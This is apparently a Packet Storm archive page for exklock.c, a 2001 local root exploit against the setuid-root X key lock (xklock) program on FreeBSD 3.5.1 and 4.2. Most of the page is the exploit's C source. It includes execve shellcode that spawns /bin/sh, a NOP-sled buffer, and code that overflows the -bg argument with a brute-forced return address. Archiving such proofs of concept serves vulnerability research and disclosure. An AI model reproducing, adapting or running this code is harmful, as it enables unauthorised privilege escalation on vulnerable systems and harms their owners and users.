what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

exklock.c

exklock.c
Posted Feb 21, 2001
Authored by synnergy, Dethy | Site synnergy.net

FreeBSD X key lock (xklock) v2.7.1 and below local root exploit - Tested on FreeBSD ports collection v3.5.1 and v4.2.

tags | exploit, local, root
systems | freebsd
SHA-256 | c4dd124149e7e5bf8e081992f5222838ea736a6a2d2fb554c015d78b41490b57

exklock.c

Change Mirror Download
/*
* xklock - FreeBSD 3.5.1 & 4.2 ports package local root exploit
*
* The X key lock program contain several exploitable buffer overflows
* in command line arguments aswell as the 'JNAME' environment variable.
* xklock is installed setuid root by default.
* This POC exploit (ab)uses the -bg arg, brute force offset if required.
*
* Usage: ./exklock <offset>
*
* dethy@synnergy.net // www.synnergy.net
* 20 Feb 2001.
*
*/

#include <stdio.h>
#include <stdlib.h>

#define EGGSIZE 1024
#define RETSIZE 264
#define NOP 0x90
#define OFFSET 0

char shellcode[]= // execve() freebsd x86
"\xeb\x37\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\x36\x89\x76"
"\x04\x89\x76\x08\x83\x06\x10\x83\x46\x04\x18\x83\x46\x08\x1b"
"\x89\x46\x0c\x88\x46\x17\x88\x46\x1a\x88\x46\x1d\x50\x56\xff"
"\x36\xb0\x3b\x50\x90\x9a\x01\x01\x01\x01\x07\x07\xe8\xc4\xff"
"\xff\xff\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02"
"\x02\x02\x02/bin/sh.-c.sh";


u_long get_sp(void) { __asm__("movl %esp,%eax"); }

int main(int argc, char *argv[]) {
char egg[EGGSIZE], ret[RETSIZE];
int i, eggsize = EGGSIZE, retsize = RETSIZE, nop = NOP, offset=OFFSET;
long *address;

if(argc > 1){ offset = atoi(argv[1]); }
(char *)address = get_sp - offset;
fprintf(stderr, "Using addr: 0x%x\n", address);

memset(egg, nop, eggsize);
memcpy(egg+(eggsize - strlen(shellcode) - 1), shellcode, strlen(shellcode));
for(i=0; i < retsize; i+=4) *(int *)&ret[i]=address;

if(execle("/usr/local/bin/xklock", egg, "-bg", ret, NULL, NULL)) {
fprintf(stderr,"Unable to execute /usr/local/bin/xklock\n");
exit(1);
}
}
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close